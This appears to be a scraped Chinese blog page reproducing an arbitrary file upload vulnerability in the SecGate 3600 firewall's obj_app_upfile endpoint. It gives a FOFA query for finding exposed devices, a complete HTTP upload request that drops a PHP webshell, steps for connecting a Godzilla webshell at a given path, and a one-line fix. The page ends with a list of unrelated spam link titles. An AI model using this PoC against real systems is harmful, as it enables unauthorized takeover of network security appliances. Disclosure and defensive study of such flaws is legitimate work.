当前位置: 首页 > news >正文

网站自助平台免费网络项目资源网

网站自助平台,免费网络项目资源网,音乐播放器网站怎么做,网站开发与优化课程总结0x01 产品简介 网神SecGate3600下一代极速防火墙(NSG系列)是基于完全自主研发、经受市场检验的成熟稳定网神第三代SecOS操作系统 并且在专业防火墙、VPN、IPS的多年产品经验积累基础上精心研发的高性能下一代防火墙 专门为运营商、政府、军队、教育、大型…

0x01 产品简介

      网神SecGate3600下一代极速防火墙(NSG系列)是基于完全自主研发、经受市场检验的成熟稳定网神第三代SecOS操作系统 并且在专业防火墙、VPN、IPS的多年产品经验积累基础上精心研发的高性能下一代防火墙 专门为运营商、政府、军队、教育、大型企业、中小型企业的互联网出口打造的集防火墙、抗DDoS攻击、VPN、内容过滤、IPS、带宽管理、用户认证等多项安全技术于一身的主动防御智能安全网关。

0x02 漏洞概述

     网神 SecGate 3600 防火墙  obj_app_upfile 接口存在任意文件上传漏洞,未经授权的攻击者通过漏洞可以上传任意文件,获取服务器权限。

0x03 影响范围

     网神 SecGate 3600 防火墙

0x04 复现环境

FOFA:fid="1Lh1LHi6yfkhiO83I59AYg=="

af53a9228fa84d9e982778efc601ee0a.png 

0x05 漏洞复现 

PoC

POST /?g=obj_app_upfile HTTP/1.1
Host: your-ip
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 574
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.0; Trident/4.0)------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="MAX_FILE_SIZE"10000000
------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: text/plain马子
------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="submit_post"obj_app_upfile
------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="__hash__"0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundaryJpMyThWnAxbcBBQc--

上传哥斯拉马子

2338a29a6ee3436bb3d58de0c6e10651.png

 验证url

https://your-ip/attachements/1.php

尝试连接

cc641354676b43349913d518fef6d8a8.png

ba7fd6be7a724b77bbd662ecd0d1809a.png

 0x06 修复建议

关闭互联网暴露面,文件上传模块设置权限强认证。

 

 

 

http://www.dinnco.com/news/78112.html

相关文章:

  • 商会网站建设seo外链增加
  • 西安建站平台哪个好优化大师免安装版
  • 网站建设流程共有几个阶段天津优化公司哪家好
  • 网站站长是什么网络seo外包
  • 谁可以做网站厦门谷歌seo公司有哪些
  • 做外贸网站怎么设计seo推广专员工作内容
  • 简约大气的网站简述网络营销的特点
  • 自己做影视网站蚌埠网络推广
  • wordpress 评论回复邮件通知最好的网站优化公司
  • 访问网站速度很慢百度网盘下载慢
  • 松江新城投资建设发展有限公司网站今日新闻7月1日
  • 广州荔湾网站建设外贸网站优化公司
  • 丰宁县网站建设一键生成app制作器
  • 南昌网站建设有哪几家最近三天发生的重要新闻
  • 怎么做监控网站中国 日本 韩国
  • 杭州做网站哪个公司好全国疫情高中低风险区一览表
  • 做爰网站1000部百度的搜索引擎优化
  • 好用的网站平台app如何推广
  • h5手机网站发展趋势企业seo推广
  • 网站建设经验与教训电话百度
  • 蔡甸网站建设域名是什么意思呢
  • 受欢迎的大连网站建设搜索引擎优化的流程是什么
  • 安阳市城乡建设规划局网站seo优化与品牌官网定制
  • 做网站技术服务合同选择一个产品做营销方案
  • wordpress企业站主题免费长春网站关键词推广
  • 西安官网seo收费湖南seo网站策划
  • net网站开发框架免费网站 推广网站
  • 笔记本电脑做网站比较畅快刷关键词排名seo软件
  • 怎么做微信小说网站站内搜索工具
  • 网站重新设计电子网址怎么创建